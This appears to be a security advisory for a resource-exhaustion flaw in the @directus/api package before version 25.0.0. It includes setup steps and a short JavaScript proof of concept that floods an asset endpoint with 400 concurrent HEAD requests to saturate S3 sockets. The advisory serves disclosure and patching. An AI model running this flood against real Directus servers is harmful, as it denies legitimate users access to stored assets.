Allocation of Resources Without Limits or Throttling Affecting @directus/api package, versions <25.0.0

@directus/api is a real-time API and App dashboard for managing SQL database content

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling. An attacker can cause the service to deny access to stored assets by overwhelming the server with a burst of HEAD requests, leading to a saturation of available sockets.

1. setup AWS S3 storage

2. set STORAGE_CLOUD_MAX_SOCKETS: "50" (this value is lower than default for easier reproduction)

3. upload a file to your project

4. run this file (Replace the the file ID with the one you just uploaded):

import axios from "axios";

async function start() {
  Array.from({ length: 400 }, (_, i) => {
    axios
      .head(
        "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8"
      )
      .then(() => console.log("✅"))
      .catch((e) =>
        console.log("⛔", e.response?.status || e.code || e.message)
      );
  });
}
start();

• GitHub Commit